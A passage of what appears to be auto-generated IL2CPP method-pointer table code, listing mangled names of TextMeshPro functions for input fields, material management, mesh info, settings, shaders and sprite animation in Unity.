TMP_InputField_set_inputValidator_m619FB8CCDB4B2BA3FE13ADF567137061647E9AA2,
TMP_InputField_get_readOnly_m551BFA0AB64EBD12F49C0993305274BC8176E0A5,
TMP_InputField_set_readOnly_m05A0789FE9583F510DF5299A963BA0C32EC03C8A,
TMP_InputField_get_richText_mFDFECA8E9F49F27A5FCCB4D147C283581BE66155,
TMP_InputField_set_richText_m1AE9CD128CFF3316C1C602717337241666AA1FA4,
TMP_InputField_get_multiLine_m3000150A39B90BCFFAFD41E0F49F479323F045B7,
TMP_InputField_get_asteriskChar_m3D3F22537749D339A3DB36BE6C56015D0B06A38E,
TMP_InputField_set_asteriskChar_m5A6D4BEB046DC3E1397972AEF86F00F5FEDB4CD0,
TMP_InputField_get_wasCanceled_mEF43E80CFB8EE3DCE8599D64213D3F977D9794FF,
TMP_InputField_ClampStringPos_mCEF1B5B73F19C6FFA1A9411FCA485B7F81C73D05,
TMP_InputField_ClampCaretPos_m24F8EDB52862BA470A2CD5FD3D2A62AA86A00FC1,
TMP_InputField_get_caretPositionInternal_m21C9BFCD70C944B374E5C916C7E7E67B75B831EA,
TMP_InputField_set_caretPositionInternal_mEC3488328558F5257115078785242BE6C59BA1BF,
TMP_InputField_get_stringPositionInternal_mBDA10D8ED51D01C973FB6CFDD1096DD29CA5D214,
TMP_InputField_set_stringPositionInternal_m0C190ABB9829A8F93268F669655D6AF29E25E265,
TMP_InputField_get_caretSelectPositionInternal_m977002CC2C821A3B4FA5FB3F1BC15C7DD0BA35A4,
TMP_InputField_set_caretSelectPositionInternal_m2AA6FD295A4E6D7236ABFE88B4CF49EDDA566191,
TMP_InputField_get_stringSelectPositionInternal_m8FE3D7533D67501DFDC1EA83B3FD72F8C1E0A79D,
TMP_InputField_set_stringSelectPositionInternal_mCBA385B30788D514E2306703B370F6350E1B9997,
TMP_InputField_get_hasSelection_mA2CF23CC43AD3EE9F66C67A5995407EBB2F59565,
TMP_InputField_get_caretPosition_m1F103634776349DFA375AC8C64F1D2535A693A15,
TMP_InputField_set_caretPosition_mD5B0AFA01D9947B7EFC98CD4C4BF927518513FF4,
TMP_InputField_get_selectionAnchorPosition_mAAD925C368B16EFE972C11F551A1D9DCB93B0B93,
TMP_InputField_set_selectionAnchorPosition_mB6E72D94EFD7C55EAFA8F8AAC30D255935438B06,
TMP_InputField_get_selectionFocusPosition_m64C9DB19CDB18E29B7CB02DCC84B5F05ACDB473E,
TMP_InputField_set_selectionFocusPosition_m862731C1A303D3778E292AB427BC1BEF4407050D,
TMP_InputField_get_stringPosition_m5C9E52B4A7304183ED4F690AD6239D57B142A7B6,
TMP_InputField_set_stringPosition_mB6538BDB302FECF09EAD5BA986FB11BBE6A49E8A,
TMP_InputField_get_selectionStringAnchorPosition_m321370B1A913B9B619DE5C5A5E5FA8D251C0B8F2,
TMP_InputField_set_selectionStringAnchorPosition_m60E8DEBD9389373AD410E7E868D3C36CCA202B8E,
TMP_InputField_get_selectionStringFocusPosition_mA044AFF5699E8B61BF3CBE271522AC8CA7088B0F,
TMP_InputField_set_selectionStringFocusPosition_mB23FDE5288C4F033028320FE4DBDEB096AAB3917,
TMP_InputField_OnEnable_m3A78BC51F18EDA6775A85DB81F8F401B17D04475,
TMP_InputField_OnDisable_m2E967647BDF216075B8F3EB3C1559B6AAA2D3C95,
TMP_InputField_ON_TEXT_CHANGED_mEA6A2C8BD4AF9D1C0CF5A6EC9608F2149256B553,
TMP_InputField_CaretBlink_m280BE5F4289F6C4ABA767D15C147E39DA6B54AD5,
TMP_InputField_SetCaretVisible_m1D8A496EA7137B9CCEFD1785B1D5BFA3A3325194,
TMP_InputField_SetCaretActive_mC9858C9E1FE6D8800219C49C52A9FACC1ED5EEC1,
TMP_InputField_OnFocus_mBDC52EE4DF24C43E6C4C272B09FDAE6F7CB5970F,
TMP_InputField_SelectAll_mC66107E00F20D1E401A04108D2A9136559AD23F7,
TMP_InputField_MoveTextEnd_mC781F7D531E0B22F73DF2C6E5F882243DD133E6A,
TMP_InputField_MoveTextStart_m8D0AA8989DE9DB5D0B540343640BFAAA1C0CEC9E,
TMP_InputField_MoveToEndOfLine_m42BC00BF1E1A82E956220244E72E577C667297D8,
TMP_InputField_MoveToStartOfLine_mC73D470B797643AC87FCFCC778D43DD945B18252,
TMP_InputField_get_clipboard_m00D07780D8DE9C8508834C8DAAC2D1BFB639EFE2,
TMP_InputField_set_clipboard_m93C532958BC5FEBA6E00E1F53D7F08CC12D63912,
TMP_InputField_InPlaceEditing_m2FEE000FC40DAF7CAE8B2DA4FF5D364E30873FC1,
TMP_InputField_UpdateStringPositionFromKeyboard_mED93ADC3A6B158262ECFB07CD6B21EC39B99022E,
TMP_InputField_LateUpdate_m9D1496DFE349C330C4FD29BDE290209E22E66DC4,
TMP_InputField_MayDrag_mB0F0807D39BED3B80A5EF8F757E8956D5869ED1F,
TMP_InputField_OnBeginDrag_m0F9B51A6CEBD12DAB6DFFF1CA1F15AD1D3495940,
TMP_InputField_OnDrag_mBA444852C709D10301A31FAD4DA6AD33479C05E4,
TMP_InputField_MouseDragOutsideRect_m19E6E5421BFCC996DC30FD6FCD07EF890931FB44,
TMP_InputField_OnEndDrag_m0CB1102EBBDC28E1AFA38FD0D50469F08492D4AC,
TMP_InputField_OnPointerDown_mA194D68CFB19DF910D8EE1B63DF5FF4D795C6C8D,
TMP_InputField_KeyPressed_m1C528E6E9E2FB05DFA8CA61F880DEE24C2C304F6,
TMP_InputField_IsValidChar_m12ACC6064ABA5E72C3CF133AFC578300A67EEFC1,
TMP_InputField_ProcessEvent_mED1F52CCCF82A49EF61E080D8A55B63EB8878124,
TMP_InputField_OnUpdateSelected_m04CB39F3A7156D62E73D7A04E52F4356DD40FCA3,
TMP_InputField_OnScroll_m87663801D19AE16C594D8C106CD2A5532CE1B22E,
TMP_InputField_GetScrollPositionRelativeToViewport_mE320B683741E2E7403D1F2ADCD65F44B68FA4158,
TMP_InputField_GetSelectedString_m4BF128EBC96DAB95E95CD9F292A1EB99AD1238C6,
TMP_InputField_FindNextWordBegin_m1207B66382CCC488015CD5EB2E017C20E20A6AF2,
TMP_InputField_MoveRight_m8831525A4FF9E75CA86BD5E4BAC9351EF640D497,
TMP_InputField_FindPrevWordBegin_mD8DA9061047B673CDB67C2F762A14C1514CFEC17,
TMP_InputField_MoveLeft_m787CBD78E57FDD7DC28A10CA1624EA4118157898,
TMP_InputField_LineUpCharacterPosition_m6FAA53F203CF66F87F62F985E830CB769A169F16,
TMP_InputField_LineDownCharacterPosition_m0A95990F452ECFB15A5BF8C12D8E92592CF3B2CD,
TMP_InputField_PageUpCharacterPosition_m68C124FCEE737E9CB486D5218A2B5804D407BD0A,
TMP_InputField_PageDownCharacterPosition_mD00879F9AD1E5315C8896D8CB421FAB93045F818,
TMP_InputField_MoveDown_mB8F65AD03355C867F63BAB0021C93B75F534CCBE,
TMP_InputField_MoveDown_m96FE2822D035DFBE82474737DEE8DED622AAD868,
TMP_InputField_MoveUp_m0A8E579FDBE203C29D7AF1B4225C9A64498DE5A9,
TMP_InputField_MoveUp_m79291882C851A7AEC3945EB8479D31984941F8DB,
TMP_InputField_MovePageUp_mA945CEDD104AAC4B417B1AC6D95FC75798ED3040,
TMP_InputField_MovePageUp_m1B01B4C15C5D556CED7B34E7F55149E1DA35ECF1,
TMP_InputField_MovePageDown_mE32EFCBEB2A1D230D3C6C8B27357C454F4AD5EC2,
TMP_InputField_MovePageDown_m80AEFB5ACD656505A347F13FAEFB55EA62F0EC86,
TMP_InputField_Delete_mD817C69CFF25B762DF673A1FD31DAF0E2F761784,
TMP_InputField_DeleteKey_m3EE34B2EE784E0F8833BCEA668B590D8C838BDCC,
TMP_InputField_Backspace_m1962DCE85EA39B861EF3E9E147A63C8CFE58A917,
TMP_InputField_Append_m4595DE62B0D6CD1E1EACC127F8B84563351190C8,
TMP_InputField_Append_m90791E607DDDAD68C715529BF47B24726ED86582,
TMP_InputField_Insert_mD8773951E82B4743AF137BE4EDA14915EC704907,
TMP_InputField_UpdateTouchKeyboardFromEditChanges_m05E63AC0F9D593BB8584E97AC236646C05E22B12,
TMP_InputField_SendOnValueChangedAndUpdateLabel_m9A56A0E7406E3E3362400445749CE33C20C7BC64,
TMP_InputField_SendOnValueChanged_m9138A30966454771476FF25A71ED03DDAF6EC0C7,
TMP_InputField_SendOnEndEdit_mBE399B126786848BC400A04B165A6C9BD6757CD1,
TMP_InputField_SendOnSubmit_m3993BECBCAB4632CD5C564C0BC38486FC2320D14,
TMP_InputField_SendOnFocus_m306B75E91484337E9A090AB1A45D971133ACF7C8,
TMP_InputField_SendOnFocusLost_m0BC85C3C362617A4E81F9E9360207EFC0D2882FF,
TMP_InputField_SendOnTextSelection_m301880AB4201417DFE7FEB6CC22A323DF0935ADC,
TMP_InputField_SendOnEndTextSelection_m5142CBC7340FC8E2B0457DDD1F257C1A19DE01D0,
TMP_InputField_SendTouchScreenKeyboardStatusChanged_mF0F1E86DFF3023EA6167004879DAE86E1D2C3AEB,
TMP_InputField_UpdateLabel_mC40048ECFCF13981FE38993C7251024EC2477ED2,
TMP_InputField_UpdateScrollbar_m61D071BE0C6F2D5C8FD3F75AF4B6A256685429C9,
TMP_InputField_OnScrollbarValueChange_mD38291A7EBF4EDA6C308DF090261355519C10E03,
TMP_InputField_UpdateMaskRegions_mD22E32D41A5E6EDAC8A7547194CA34A4DE918343,
TMP_InputField_AdjustTextPositionRelativeToViewport_m7EC3FED9FB3F4F5450E60552FE36F0D79E48592C,
TMP_InputField_GetCaretPositionFromStringIndex_m24E11A6B461D41DAD8CA4DC96F0AB263175DE283,
TMP_InputField_GetMinCaretPositionFromStringIndex_mF22329EB6607A83C8791B9DE0A1FB4B8B53575AC,
TMP_InputField_GetMaxCaretPositionFromStringIndex_m5A2C033C4018D10695C8E3CA0A53EA7E5F6F5B01,
TMP_InputField_GetStringIndexFromCaretPosition_mE8952E126639234C711E6DA723C272AA6C22FB59,
TMP_InputField_ForceLabelUpdate_m06F01A5D3EF44553E23404EC82D65B405A842C11,
TMP_InputField_MarkGeometryAsDirty_m3FD825DDE67FAA8CFBF12EE92C65463823402138,
TMP_InputField_Rebuild_mA714C05AB0AAF3BDB56E2534622E978943AC2317,
TMP_InputField_LayoutComplete_m3C78365E6DFF603628C61A7321EEE5AA1FBCDA67,
TMP_InputField_GraphicUpdateComplete_m5FE6F033C3688FD16CE1D52A0CABE075699C568E,
TMP_InputField_UpdateGeometry_m44637D3DF51E919CE2F702A61B49A2F4FEFCEAFB,
TMP_InputField_AssignPositioningIfNeeded_m3CA56BB25376EF783C8E1218AA2643FACEB924E1,
TMP_InputField_OnFillVBO_m4F9AEEB359EABEA669C3E3587ECF4B1262067E6A,
TMP_InputField_GenerateCaret_m6020296CC782C426A13349E6B8885C029DBEBB72,
TMP_InputField_CreateCursorVerts_mAD2D8B4DD0331646AA852C4BFF7595CC76D27836,
TMP_InputField_GenerateHightlight_m6B8F6ECF6369850A6B87D68E75A639021F463B8F,
TMP_InputField_AdjustRectTransformRelativeToViewport_m58C2AAE39A4A6EE2309BAACBDFBAA22A885CF479,
TMP_InputField_Validate_m76212763DA49DFD7C152C65F8AF6CC056EE69979,
TMP_InputField_ActivateInputField_m9471012A606F201DF838539F5400D072A827914F,
TMP_InputField_ActivateInputFieldInternal_m95B34ECC08F02FF048EFC2272CE07648657627BC,
TMP_InputField_OnSelect_m586B40BE0FAFFDA515B1AF7A391094F076B2036F,
TMP_InputField_OnPointerClick_m2A6F2110D5AD4EF8C3FBA29166BC76921C469C55,
TMP_InputField_OnControlClick_m5E418EA29EFE5180655F904E5727AE8210B6EC21,
TMP_InputField_ReleaseSelection_mC70F802822362452CFDD9FE095F5147E6BB5020F,
TMP_InputField_DeactivateInputField_m1C829676E9DC0D3E5DAE85D1869D26FBF748184D,
TMP_InputField_OnDeselect_m19AA85C6A6FAB27850293318B1D92908B82F99AF,
TMP_InputField_OnSubmit_m52BE7037E939A81A0EF41FCB4DA55D77C5970039,
TMP_InputField_EnforceContentType_m4D5F42FD6E04B3B3B541E978C9C603B7696E7AB2,
TMP_InputField_SetTextComponentWrapMode_m9CF72ADC54A79451A8B35A85FFF2232F1D6A79ED,
TMP_InputField_SetTextComponentRichTextMode_mAA7F99B2DFD5DD46007BF0247B37A8CA008F1947,
TMP_InputField_SetToCustomIfContentTypeIsNot_mB9AC8BE6A15C7DC926F5064C49A0F2199CC6B14D,
TMP_InputField_SetToCustom_m798A8846432794AA8687F6020551B512357D2CF0,
TMP_InputField_SetToCustom_mB668A3AB0C1900F2B2618DB9C1288C805DD21D58,
TMP_InputField_DoStateTransition_mB9F4AAD269179A5EBE7A31DDC64D8832C403F260,
TMP_InputField_CalculateLayoutInputHorizontal_m46CEB3041DFCF55FF496A01B186965E0846BDAA0,
TMP_InputField_CalculateLayoutInputVertical_m89664390EDA3B835EF3540E85A65978247884577,
TMP_InputField_get_minWidth_m2A2D1042C5D78373A2AD8BBF514157D83C3A706A,
TMP_InputField_get_preferredWidth_m7B67921BC7BD2A2FDD53C93FC9AB63B04A00C753,
TMP_InputField_get_flexibleWidth_m8E903250C848B81530D7A757513C98FD7DB4E3CB,
TMP_InputField_get_minHeight_m5B9B113BDB4FA8562DE935A377CA0734F7ADE7B1,
TMP_InputField_get_preferredHeight_mF8468DD1FB5F87870379277710E1D5C3DDCFFC1D,
TMP_InputField_get_flexibleHeight_m3293370FBA374E6FCDBC1E7BF9EF975C1D00DEC3,
TMP_InputField_get_layoutPriority_m29F413DB25AC2A615265C1C2820D89AC60816DF2,
TMP_InputField_SetGlobalPointSize_m3FFB4ADB49E9D601673A53AEA78839B964D32A81,
TMP_InputField_SetGlobalFontAsset_m4AD28DDE68A928EA340F360105C99A1EBC789201,
TMP_InputField__cctor_mF973E419EDD6DC0C1AAE90C8AB1A3A3886B06456,
TMP_InputField_UnityEngine_UI_ICanvasElement_get_transform_m54CD226342494A37D5AF311CC975A634588AE1AF,
OnValidateInput__ctor_m734DB6ABACB01CDC715C54E93A47B817C0E7FB68,
OnValidateInput_Invoke_m1CDDA220BF2691F42200A098F57AE10FDE383E49,
OnValidateInput_BeginInvoke_m43FBD60B6478C13E662CE8C9BB98085409286F6F,
OnValidateInput_EndInvoke_m71D53E4976D82E4B04234B4EC8877D54E3C84954,
SubmitEvent__ctor_m7D30737EA13979AD78F6D7C46563FD43A32301C8,
OnChangeEvent__ctor_mA7F876316D0F5198E90ECA7304C6542D63758698,
SelectionEvent__ctor_m9EF6D8DB48A30C615541A297E3739B078BA2F8AD,
TextSelectionEvent__ctor_mB76781548533BA217F1FDD39550335889994027E,
TouchScreenKeyboardEvent__ctor_mA7D12057CDF3115B9B47CFFE817A2D901B90EB37,
U3CCaretBlinkU3Ed__276__ctor_m04194456FB3C1DBD716CFA59EDDE760D986AAE94,
U3CCaretBlinkU3Ed__276_System_IDisposable_Dispose_m62F3C667730FA038C1323EAB48AEF59FEFFCD1A4,
U3CCaretBlinkU3Ed__276_MoveNext_mDD251CD28C8D1BDCAA212FB35443F07ECABB6E87,
U3CCaretBlinkU3Ed__276_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_mDD9FEFE4B5114891E051AA778A47A32E4530798E,
U3CCaretBlinkU3Ed__276_System_Collections_IEnumerator_Reset_mD05FB2B8858676366A0ED98063C5AEECC60AEB28,
U3CCaretBlinkU3Ed__276_System_Collections_IEnumerator_get_Current_m06538DD0CE0EA13A3E001E9E7B390F96B2E9B724,
U3CMouseDragOutsideRectU3Ed__294__ctor_mC97D27357520CBB200DD3254DEF53DF620ACB6B6,
U3CMouseDragOutsideRectU3Ed__294_System_IDisposable_Dispose_mDDECF9B91F7E66A9166A3FC4863656BC94C4A28D,
U3CMouseDragOutsideRectU3Ed__294_MoveNext_mE91DEA64A594ABE2D110805114C864C501529C0E,
U3CMouseDragOutsideRectU3Ed__294_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m36806333FD5DF40BAC0946CEBC2DE197E7E3090C,
U3CMouseDragOutsideRectU3Ed__294_System_Collections_IEnumerator_Reset_mA500CB2991458842FB24C83B54624A9B91446E8C,
U3CMouseDragOutsideRectU3Ed__294_System_Collections_IEnumerator_get_Current_mCD6E5AE2B1016D22C30F38001C6DFB243EAF10AE,
SetPropertyUtility_SetColor_mD4D642CB7A6724A4AE82B718DB37289B41F3DA9E,
NULL,
NULL,
NULL,
NULL,
TMP_InputValidator__ctor_mD15E0AFA50E8CA10B2849A66A5B96D50B7EA66F3,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
TMP_MaterialManager__cctor_m4141AD578F4867F8B4F750D1A40E9C812DDD8CE0,
TMP_MaterialManager_OnPreRender_m50B8EB50F661141CC1F827DA008D952ABD8CEC5B,
TMP_MaterialManager_GetStencilMaterial_m877ECF06F54F903B2D731AE8203EEB766B994694,
TMP_MaterialManager_ReleaseStencilMaterial_m4665FB7F1C1971CFC70A09D21B034E47F7725446,
TMP_MaterialManager_GetBaseMaterial_m720F44418843E9D968BDCFE998EE956301BE1CBF,
TMP_MaterialManager_SetStencil_m01DEAAD9C1E0DAA06485B99D241A9100DF60B5BE,
TMP_MaterialManager_AddMaskingMaterial_mCAD5D2467EEF8570C8D30D8F1CC13000CF521920,
TMP_MaterialManager_RemoveStencilMaterial_mCFB04EA51B4A042069DA4EAD6C3BF781B82AB62F,
TMP_MaterialManager_ReleaseBaseMaterial_mE0F28925B023F8B26F636028799A6CD9B59DE34E,
TMP_MaterialManager_ClearMaterials_mE39930BFF15495F66DEE78BD169F793BF8155BB3,
TMP_MaterialManager_GetStencilID_m73038BF6576BC331A0220AAE1789E4A4EE4A2955,
TMP_MaterialManager_GetMaterialForRendering_mCB7B3FAC19E2879739366D2F52B9B75D6FEDB68B,
TMP_MaterialManager_FindRootSortOverrideCanvas_m0EA4B5E305B435621306BBCAA35CD86B9125D072,
TMP_MaterialManager_GetFallbackMaterial_m07E622D3C4F1E8F24345BBFC4AC83FDB18F10606,
TMP_MaterialManager_GetFallbackMaterial_m0E4F47DCB849D279782B38356413CC3DA6A27A56,
TMP_MaterialManager_AddFallbackMaterialReference_mFA845C1EDE908D2D5A4B9AC807A38CFA67BBCFFB,
TMP_MaterialManager_RemoveFallbackMaterialReference_m57C1FA591CF1241217BEC78E86E26A1E12413945,
TMP_MaterialManager_CleanupFallbackMaterials_mD2F7C89B639C3B0C48A56B3C13B7F606C0CDA025,
TMP_MaterialManager_ReleaseFallbackMaterial_mF3EBED266A7707F246861B5B311335E4042A9025,
TMP_MaterialManager_CopyMaterialPresetProperties_m5F8DAEA5763339B4868B9F590FE51B0B0621B08E,
FallbackMaterial__ctor_m5AA6484722CD55AD1E40B459CAB79DD8990A713F,
MaskingMaterial__ctor_mA1BA8800085879CFA3DE2A0DED61A4AA92C62B2C,
U3CU3Ec__DisplayClass9_0__ctor_m848336CD827EA7C72F02A2F5197CC154956B3D84,
U3CU3Ec__DisplayClass9_0_U3CGetBaseMaterialU3Eb__0_m98229F401F0560DF925A73A963C8371504C1A4B0,
U3CU3Ec__DisplayClass11_0__ctor_m28B98E0B4AE129848CDFF36F6F34E9D2D9141268,
U3CU3Ec__DisplayClass11_0_U3CAddMaskingMaterialU3Eb__0_m4F0BC91E6CEE544BBB91FC63751A03DB13F1037D,
U3CU3Ec__DisplayClass12_0__ctor_mAB99B1A35D85999D6D5626476FDFBC24C2267F92,
U3CU3Ec__DisplayClass12_0_U3CRemoveStencilMaterialU3Eb__0_m287C61417605FA86EFA7C1727977B50AD14C85E6,
U3CU3Ec__DisplayClass13_0__ctor_m75854EC300C2C88140C6100C42620E466E0A149A,
U3CU3Ec__DisplayClass13_0_U3CReleaseBaseMaterialU3Eb__0_m890054ECE6EF0D16429C8BE76649990EAC0CBD58,
TMP_MeshInfo__ctor_m453B9FC30A2CB8AB2A5C868AC4229B7903F033E6,
TMP_MeshInfo__ctor_m95D69F6D719C924C0AF92DCBB1F642D39469CBB5,
TMP_MeshInfo_ResizeMeshInfo_m13DF794141EBDD4446391BAF6FD469EEFE3DD6D1,
TMP_MeshInfo_ResizeMeshInfo_m247290DC2AD29A232C6473904748ADD11779D543,
TMP_MeshInfo_Clear_m002C7A793C6BBFF39C878B909F0162E6EB5C12F8,
TMP_MeshInfo_Clear_m28C815908490A64459F38D5EC110C6823B813888,
TMP_MeshInfo_ClearUnusedVertices_mF5DC41BB72A19486A4079208D13472DD0BDE2CD9,
TMP_MeshInfo_ClearUnusedVertices_m1BDC394210705FC5219A44B3D110BF50F3027B55,
TMP_MeshInfo_ClearUnusedVertices_mB4475A7E8ED25FBCD1D1E91924D9DF3D60AE7A1A,
TMP_MeshInfo_SortGeometry_m28C6E9A947C7352F16910BAE2F744087720DBECA,
TMP_MeshInfo_SortGeometry_m74ED0FE2065414A659EE9A9C809E1B0B4A8A7734,
TMP_MeshInfo_SwapVertexData_mBB35F36F8E7E6CF1429B26417140570EE94FE718,
TMP_MeshInfo__cctor_mC20DB35D1416ACA3075858728EE6132B6D7F62F3,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
TMP_ResourceManager__cctor_m2267B0B38C0623327DDC386D634E4ED4353065F4,
TMP_ResourceManager_GetTextSettings_m62E3F44107E03415BAF952A022627E4954778088,
TMP_ResourceManager_AddFontAsset_m99D7D67B833946983A8FF2B6B9D2789D3FA192F7,
TMP_ResourceManager_TryGetFontAsset_mCA96DB9FFD77E22BDD10BF85478203EB30A830CE,
TMP_ResourceManager_RebuildFontAssetCache_m09CA6724A24F5CB5A13DCE2AB7A595BCC7FF25C6,
TMP_ResourceManager__ctor_m41A56B8623D6458A03C6A8C3D7470C2F7BB7A1AE,
TMP_ScrollbarEventHandler_OnPointerClick_m34AF6B0146F0BC5B3C09C32EED107B4463E7F8DE,
TMP_ScrollbarEventHandler_OnSelect_mDF45AA8D470D08691E9F4D615B7DE3BE9AC7135D,
TMP_ScrollbarEventHandler_OnDeselect_mF833BEBAB98A0B437BFC9BCB5EE3747434A082F4,
TMP_ScrollbarEventHandler__ctor_m58CED24AFA6F683381D1730590691DDDD5239555,
TMP_SelectionCaret_Cull_m2DC72A9C1EA02ECCB716CD88EFE102299E9006F1,
TMP_SelectionCaret_UpdateGeometry_mF6C6F61B4CD8E34D7D9777EF897639DBFB18755E,
TMP_SelectionCaret__ctor_m68388B98DDFDBA26F60C2AF944794D3A43BE8070,
TMP_Settings_get_version_mEAC34702C10FC6DFDDDF30DEEFF0A569BD6FCB81,
TMP_Settings_get_enableWordWrapping_m4D520D99A56B8C50E822B4899EFD88EB60E0FAB6,
TMP_Settings_get_enableKerning_m422F8278E33911FAA4EFD408C72B8BF77969F55F,
TMP_Settings_get_enableExtraPadding_mC5FE6AEE29714A74832AD5A8A5D443C3678040BA,
TMP_Settings_get_enableTintAllSprites_mCC3B4EF67D1A23F2C18AA580C03A040A4367F2B1,
TMP_Settings_get_enableParseEscapeCharacters_m6F70AE4B5014E2ABC4FBFBB1DD1AB28A038F2FFD,
TMP_Settings_get_enableRaycastTarget_mAC83BFB53788219A69DF6B11F6040FEE81A352D3,
TMP_Settings_get_getFontFeaturesAtRuntime_m6B5BD01BDAB8D9D065356A686354ADF712CB4FD9,
TMP_Settings_get_missingGlyphCharacter_mBF21C46B4B1544132C728AB9D65E8CA9F8ACD4D6,
TMP_Settings_set_missingGlyphCharacter_m828F6DEDA11BF35928DB58F05BEF854CEEEB64DD,
TMP_Settings_get_warningsDisabled_mE106F9998B9E2D800A4C2DA927084DC04995FB27,
TMP_Settings_get_defaultFontAsset_mC322E8D26D4C108847D5408DD8C7160834615B0D,
TMP_Settings_get_defaultFontAssetPath_mD80981ABC8EAC468354ADB14AE4D42EBE2817A50,
TMP_Settings_get_defaultFontSize_m633B012E1B96DB5CB5804AC72E393671ECB4D3F7,
TMP_Settings_get_defaultTextAutoSizingMinRatio_m243CDC92E4CF7A965EFB6FB230F435CFA692E401,
TMP_Settings_get_defaultTextAutoSizingMaxRatio_mD8CF79010DFA583BC8D25B3433B7AC66465B1B45,
TMP_Settings_get_defaultTextMeshProTextContainerSize_m9FD779849D64E92FCB19F44071E1066D1A9FF002,
TMP_Settings_get_defaultTextMeshProUITextContainerSize_mFCB1EAE32D6A4D4AFA9947C30FBAE82BE761FAE1,
TMP_Settings_get_autoSizeTextContainer_m603D737564C246B828F70343153BCD5EF2D697B8,
TMP_Settings_get_isTextObjectScaleStatic_m4EB4D9DCF1053FEA943364A279F576E915C4CB5C,
TMP_Settings_set_isTextObjectScaleStatic_m91CAB1F803A70ACB4DC8129A42DC8A6C6B44758D,
TMP_Settings_get_fallbackFontAssets_mB8085CABB99267782BCE4FEC83658D41C4FC4032,
TMP_Settings_get_matchMaterialPreset_mDAB4904C7307D1A30A5BF8DC78B8AF34D4414ED3,
TMP_Settings_get_defaultSpriteAsset_mB5C15B20B232830C4CC4C266A99D0A85E5B96F63,
TMP_Settings_get_defaultSpriteAssetPath_m56CDA5BDD82D362F3F3C4DE53EEF4C00BD7410AE,
TMP_Settings_get_enableEmojiSupport_mBE4ECBB86C9104D73ECC12F3CE26D24D67D7A468,
TMP_Settings_set_enableEmojiSupport_m936C6014EBCEE2B8068D9CFE5B92297A6AC365F1,
TMP_Settings_get_missingCharacterSpriteUnicode_m220A50CCB54C434A880EAA18D18C7870A30D2982,
TMP_Settings_set_missingCharacterSpriteUnicode_m4F275C71C94246EC0DDDCC3C385315ED7131CD8D,
TMP_Settings_get_defaultColorGradientPresetsPath_m88470E43E57A64E5EC34D1D25CA7670608BF0DD2,
TMP_Settings_get_defaultStyleSheet_m5D4D6D3E3CB8C221D44668D8F148ACF16D7D8F96,
TMP_Settings_get_styleSheetsResourcePath_m44549963ED660E58EED0021D74E017C5669BE62B,
TMP_Settings_get_leadingCharacters_mABDCEE8BD7B6AD4C8033E706231C8B03BF0DDBF0,
TMP_Settings_get_followingCharacters_m219C540512121CE0F3F809A3D6D0572B8DFE24AD,
TMP_Settings_get_linebreakingRules_mEFA0F4486D45AC8867041B58171495D841943F56,
TMP_Settings_get_useModernHangulLineBreakingRules_m8F4C067EA0EF24CFCFA179A72BAEADC147FAADDB,
TMP_Settings_set_useModernHangulLineBreakingRules_mB7BB3C393576AFD1CFA8F85C700E6C21A78CA57A,
TMP_Settings_get_instance_mDBC0D34BE1346805DC9339A92A9AF9CA4365D8FE,
TMP_Settings_LoadDefaultSettings_m13F4B41D5D4375811FB97D0C06164DAB3CF1EAD9,
TMP_Settings_GetSettings_m3B36D62496691B8838F4AFB5072ECE32BC4F1C10,
TMP_Settings_GetFontAsset_m2EFD7C6CABB0EFE3F4D1297FF8E6EDBF315B4244,
TMP_Settings_GetSpriteAsset_m67B87F0EBE2C7B5BDC32D534E1910742EB4743E2,
TMP_Settings_GetStyleSheet_m1087560A645A2DAFF7774F2D43DB228317FC634F,
TMP_Settings_LoadLinebreakingRules_mC786164D725872A3FE4FDC8292AE54BD7CBC786E,
TMP_Settings_GetCharacters_m904739889EF785CC4D0A958156F382125D63B523,
TMP_Settings__ctor_m8D99E9A01FB47EDF64A744B6B1AD5B424CB9F38F,
LineBreakingTable__ctor_m20DC4ED032712E7234F19604082B5B41DEF713EB,
ShaderUtilities_get_ShaderRef_MobileSDF_mF290287DC8FCA75D104DC7A0C01BEF67EA8F9C53,
ShaderUtilities_get_ShaderRef_MobileBitmap_m94CEC6AEA07F2CAF6A6BE9C98DCB50319795CD37,
ShaderUtilities__cctor_m88664CD657CA3DDCB44194058ABC84A865A53B02,
ShaderUtilities_GetShaderPropertyIDs_m0DCBCCEFDE02CD3DF9560321164BA4FCE9764238,
ShaderUtilities_UpdateShaderRatios_mDB54C4E7164697363833290B2AE869BEC703E713,
ShaderUtilities_GetFontExtent_mB4EF50E4B2F37619560D32A4A57DC99F33371404,
ShaderUtilities_IsMaskingEnabled_mB322766562C5A7A96486C49297EC184F73EA8240,
ShaderUtilities_GetPadding_m636B9B1177987E9574C612C6412A45C51F3AA54B,
ShaderUtilities_GetPadding_m663118873547D1A1144C3053B09D4EE02570099C,
TMP_Sprite__ctor_mEAF426A39C3129E4D1997ED2D1591F3ADE1A25A2,
TMP_SpriteAnimator_Awake_m6A8FFA0C1EF9E744486051B028DE20B122FADF66,
TMP_SpriteAnimator_OnEnable_mBAA3D31A82A9CDEFC373D10DF860384E31D38BA9,
TMP_SpriteAnimator_OnDisable_mF9A39A9D836AF81C70ED6D301275B814AF3ABBAD,
TMP_SpriteAnimator_StopAllAnimations_m0531CA658CF1A4E5A18BC73234FE5CC8318F64F1,
TMP_SpriteAnimator_DoSpriteAnimation_m02F535CA423940D067CABC1F1FE45745409510FC,
TMP_SpriteAnimator_DoSpriteAnimationInternal_mCF00A0F5F136AAF118AE0178104FE885E7DE8EF0,
TMP_SpriteAnimator__ctor_mCFCE75C7C04926B5DE46F9FF2C5C9A3904F7FE78,
U3CDoSpriteAnimationInternalU3Ed__7__ctor_m8BBDA4F604B39E235BB82F6E3F20B0FD693688A8,
U3CDoSpriteAnimationInternalU3Ed__7_System_IDisposable_Dispose_m20F949D3F288FCD413EFBF1AD9B7E508334C5DEE,
U3CDoSpriteAnimationInternalU3Ed__7_MoveNext_m8FFB7B97D3E8C8A2F5C5239E74A6B93111180A92,
U3CDoSpriteAnimationInternalU3Ed__7_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m226B3A70CA139557EB0F887B08A867394A12AE05,
U3CDoSpriteAnimationInternalU3Ed__7_System_Collections_IEnumerator_Reset_m0D4ED9831F002A26C52E1A969C7AFB0F7A6125B3,
U3CDoSpriteAnimationInternalU3Ed__7_System_Collections_IEnumerator_get_Current_m6C9904888FA484F24441F723715CD60757A8BD21,
